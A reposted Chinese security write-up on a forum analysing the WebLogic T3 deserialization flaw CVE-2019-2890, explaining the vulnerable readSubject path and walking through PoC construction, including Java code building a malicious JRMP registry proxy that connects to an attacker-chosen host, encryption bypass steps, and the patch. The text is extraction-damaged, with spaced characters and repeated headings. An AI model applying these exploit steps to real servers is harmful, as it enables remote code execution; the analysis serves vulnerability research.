搜索

[6406] 2020-01-05_WeblogicT3反序列化漏洞（CVE-2019-2890）分析

文档创建者：s7ckTeam
浏览次数：45
最后更新：2025-01-17
2020-01-05_WeblogicT3反序列化漏洞（CVE-2019-2890）分析 W e b l o g i c   T 3   反 序 列 化 漏 洞 （ C V E - 2 0 1 9 - 2 8 9 0   ） 分 析 E 安 全   2 0 2 0 - 0 1 - 0 5 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 l 1 n k 3 r N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因 起 因         本 文 仅 记 录 一 下 自 己 调 试 2 8 9 0 的 一 些 过 程 ， 网 上 已 经 有 两 篇 公 开 的 文 章 了 ， 所 以 自 己 上 手 调 了 一 下 这 个 漏 洞 ， 发 现 真 的 是 个 弟 中 弟 的 漏 洞 。 N o . 3 N o . 3 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理 漏 洞 原 理         T 3 反 序 列 化 关 键 字 还 是   r e a d O b j e c t   ， 所 以 补 丁 下 来 的 第 一 时 间 ， 我 全 部 反 编 译 了 ， 但 是 由 于 之 前 没 有 研 究 过 w e b l o g i c ， 历 史 补 丁 没 怎 么 留 存 ， 如 果 通 过 d i f f 对 比 更 新 的 方 式 会 很 快 定 位 ， 所 以 只 能 反 编 译 后 搜 。         之 前 T 3 反 序 列 化 的 入 口 有   S t r e a m M e s s a g e I m p l 、 M a r s h a l l e d O b j e c t   等 ， 而 且 修 复 方 式 也 是 采 用   r e s o l v e C l a s s   或 者 r e s o l v e P r o x y C l a s s   处 增 加 黑 名 单 的 校 验 的 方 式 来 修 复 ， 因 此 基 于 这 两 点 实 际 上 很 好 定 位 漏 洞 位 置 ： 1 、 入 口 有   r e a d O b j e c t   反 序 列 化 ， 2 、 r e s o l v e C l a s s   或 者   r e s o l v e P r o x y C l a s s   处 有 名 单 校 验 ， 且 类 不 是 之 前 修 复 过 的 类 。         基 于 上 述 这 两 种 情 况 很 快 定 位 到 了   P e r s i s t e n C o n t e x t   这 个 类 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
        再 回 头 翻 一 下   w e b l o g i c   原 来 的 代 码 ， 嗯 确 实 入 口 在 这 ， 在   r e a d S u b j e c t   方 法 中 ， 首 先 会 读 取 v a r 1 中 的 反 序 列 化 数 据 ， 然 后 调 用 E n c r y p t i o n U t i l . d e c r y p t 方 法 进 行 解 密 ， 最 后 再 触 发 反 序 列 化 。
        因 此 构 造 P o c 的 时 候 ， 需 要 用 P e r s i s t e n C o n t e x t 这 个 类 的   w r i t e S u b j e c t   方 法 来 生 成 特 殊 的 序 列 化 对 象 ， 让   r e a d S u b j e c t   方 法 反 序 列 化 的 时 候 成 功 触 发 。 N o . 4 N o . 4 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 漏 洞 利 用 1 . 导 入 导 入 j a r         网 上 有 两 篇 文 章 都 说 了 这 么 个 构 造 思 路 ， 但 是 我 阅 读 学 习 的 时 候 ， 死 在 了 导 入 j a r 这 个 难 题 下 ， 因 此 在 漏 洞 利 用 的 开 头 ， 我 列 出 几 个 j a r 文 件 ， 测 试 环 境   w e b l o g i c   1 0 . 3 . 6   ， 可 能 w e b l o g i c   1 2   j a r 名 字 有 所 不 同 。 c o m . b e a . c o r e . l o g g i n g _ 1 . 9 . 0 . 0 . j a r c o m . b e a . c o r e . m a n a g e m e n t . c o r e _ 2 . 9 . 0 . 1 . j a r c o m . o r a c l e . c o r e . w e b l o g i c . m s g c a t _ 1 . 2 . 0 . 0 . j a r c r y p t o j . j a r g l a s s f i s h . j a x b _ 1 . 1 . 0 . 0 _ 2 - 1 - 1 4 . j a r w e b l o g i c . j a r w l t h i n t 3 c l i e n t . j a r 2 . 重 写 重 写 P e r s i s t e n C o n t e x t 类 类         因 为 需 要 用 到   P e r s i n s t e n C o n t e x t   这 个 类 ， 因 此 序 列 化 的 时 候 肯 定 要 将 其 实 例 化 ， 但 是 在 下 图 代 码 位 置 有 个 i f 检 查 。
        在 这 个 i f 检 查 的 结 果 会 抛 出   c o m . b e a . c o r e . s e c u r i t y . m a n a g e r s . N o t S u p p o r t e d E x c e p t i o n   的 异 常 导 致 反 序 列 化 中 止 。         因 此 这 里 解 决 办 法 就 是 绕 过 它 ， 把 它 注 释 掉 。 3 . 改 造 改 造 w r i t e S u b j e c t 中 的 中 的 w r i t e O b j e c t         原 先 在   w r i t e S u b j e c t   中 正 常 写 入 的 对 象 如 下 图 所 示 。         这 里 我 们 需 要 将 其 替 换 掉 ， 改 成 我 们 自 己 恶 意 对 象 ， 我 的 做 法 是 构 造 恶 意 的 J R M P 对 象 。
p u b l i c   s t a t i c   R e g i s t r y   g e t O b j e c t ( S t r i n g   c o m m a n d )   t h r o w s   E x c e p t i o n   {                         i n t   s e p   =   c o m m a n d . i n d e x O f ( 5 8 ) ;                       S t r i n g   h o s t ;                         i n t   p o r t ;                         i f   ( s e p   <   0 )   {                               p o r t   =   ( n e w   R a n d o m ( ) ) . n e x t I n t ( 6 5 5 3 5 ) ;                               h o s t   =   c o m m a n d ;                       }   e l s e   {                               h o s t   =   c o m m a n d . s u b s t r i n g ( 0 ,   s e p ) ;                               p o r t   =   I n t e g e r . v a l u e O f ( c o m m a n d . s u b s t r i n g ( s e p   +   1 ) ) ;                       }                       O b j I D   i d   =   n e w   O b j I D ( ( n e w   R a n d o m ( ) ) . n e x t I n t ( ) ) ;                       T C P E n d p o i n t   t e   =   n e w   T C P E n d p o i n t ( h o s t ,   p o r t ) ;                       U n i c a s t R e f   r e f   =   n e w   U n i c a s t R e f ( n e w   L i v e R e f ( i d ,   t e ,   f a l s e ) ) ;                       R e m o t e O b j e c t I n v o c a t i o n H a n d l e r   o b j   =   n e w   R e m o t e O b j e c t I n v o c a t i o n H a n d l e r ( r e f ) ;                       R e g i s t r y   p r o x y   =   ( R e g i s t r y ) P r o x y . n e w P r o x y I n s t a n c e ( y s o s e r i a l . p a y l o a d s . J R M P C l i e n t . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ] { R e g i s t r y . c l a s s } ,   o b j ) ;                       r e t u r n   p r o x y ;               } 4 . 改 造 加 密 问 题 改 造 加 密 问 题         原 先 我 们 看 到 了 ， 反 序 列 化 过 程 中 有 个 解 密 过 程 ， 所 以 这 里 需 要 加 密 一 下 。 首 先 加 密 过 程 有 个 K e r n e l S t a t u s . i s S e r v e r ( ) 的 判 断 。               i f   ( K e r n e l S t a t u s . i s S e r v e r ( ) )   {                       v a r 5   =   E n c r y p t i o n U t i l . e n c r y p t ( v a r 5 ) ;               }         或 者 说 我 直 接 改 造 一 下 ， 把 i f 去 掉 ， 让 他 直 接 E n c r y p t i o n U t i l . e n c r y p t 不 就 好 了 吗 ， 但 是 跟 进 去 之 后 会 发 现 还 是 有 个 K e r n e l . i s S e r v e r ( )   的 的 判 断 。       p u b l i c   s t a t i c   b y t e [ ]   e n c r y p t ( b y t e [ ]   v a r 0 )   {                 r e t u r n   K e r n e l . i s S e r v e r ( )   ?   g e t E n c r y p t i o n S e r v i c e ( ) . e n c r y p t B y t e s ( v a r 0 )   :   v a r 0 ;       }         因 此 这 里 需 要 调 用 K e r n e l S t a t u s . s e t I s S e r v e r ( t r u e ) ; ， 将 状 态 设 置 为 t r u e 。
        当 然 这 里 还 有 另 一 种 解 法 ， 我 们 实 际 上 可 以 直 接 调 用 v a r 5   =   E n c r y p t i o n U t i l . g e t E n c r y p t i o n S e r v i c e ( ) . e n c r y p t B y t e s ( ( b y t e   [ ] )   v a r 5 ) ;         但 是 有 个 小 问 题   g e t E n c r y p t i o n S e r v i c e   是 一 个   p r i v a t e   方 法 ， 你 需 要 重 写 一 个 把 它 变 成 p u b l i c 就 可 以 直 接 调 用 了 。         所 以 我 重 写 了 一 个   E n c r y p t i o n U t i l   ， 并 且 将   g e t E n c r y p t i o n S e r v i c e   设 置 为 了   p u b l i c   。 5 . 解 决 加 密 解 决 加 密 k e y 的 问 题 的 问 题         在   w e b l o g i c . s e c u r i t y . i n t e r n a l . S e r i a l i z e d S y s t e m I n i   存 在 一 个 加 密 的 k e y ， 这 个 k e y 实 际 上 每 个 w e b l o g i c 都 不 一 样 ， 所 以 官 方 给 这 个 漏 洞 评 价 为 授 权 状 态 下 g e t s h e l l ， 也 是 和 之 前 的 T 3 反 序 列 化 不 太 一 样 的 地 方 ， 这 里 的 解 决 办 法 就 是 你 要 复 现 那 个 w e b l o g i c ， 就 找 到 他 的   S e r i a l i z e d S y s t e m I n i . d a t   文 件 ， 并 且 在 自 己 的 目 录 下 创 建 一 个   s e c u r i t y   目 录 ， 放 进 去 就 好 了 。
6 . 最 后 一 个 小 问 题 最 后 一 个 小 问 题         在 序 列 化 的 时 候 会 出 现 卡 死 状 态 的 ， 跟 进 之 后 发 现 原 因 在 w e b l o g i c . s e c u r i t y . s u b j e c t . S u b j e c t M a n a g e r 这 个 类 里 面 。         在 这 个 类 里 面 的   g e t S u b j e c t M a n a g e r   方 法 会 有 一 个   c e C l i e n t   的 判 断 ， 如 果 为 f a s l e 就 不 会 直 接 返 回   c e S u b j e c t M a n a g e r   对 象 ， 因 此 需 要 让 他 为   t r u e   。         而 这 个 鬼 东 西 默 认 情 况 下 是 f a l s e 。 p r i v a t e   s t a t i c   f i n a l   b o o l e a n   c e C l i e n t   =   " t r u e " . e q u a l s I g n o r e C a s e ( S y s t e m . g e t P r o p e r t y ( " c o m . b e a . c o r e . i n t e r n a l . c l i e n t " ,   " f a l s e " ) ) ;         因 此 只 需 要 S y s t e m . s e t P r o p e r t y ( " c o m . b e a . c o r e . i n t e r n a l . c l i e n t " , " t r u e " ) ; 让 他 过 去 即 可 。 最 后 还 是 弹 个 计 算 器 吧 。
N o . 5 N o . 5 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复 漏 洞 修 复         一 如 既 往 的 老 办 法 在 r e s o l v e C l a s s 处 增 加 黑 名 单 检 查 。           注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m
推 荐 阅 读 ： E 观 察 :   2 0 2 0 年   我 们 将 直 面 5 G 安 全 问 题 E 安 全 快 讯 : 葡 萄 牙 遭 受 新 型 恶 意 木 马 L a m p i o n 攻 击 越 来 越 多 的 受 害 者 向 勒 索 软 件 “ 乖 乖 就 范 ” 城 市 升 级   智 慧 治 理   |   安 恒 信 息 智 慧 城 市 解 决 方 案 获 得 这 些 奖 项 人 脸 识 别 技 术 竟 带 有 种 族 色 彩 ！ ？ ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理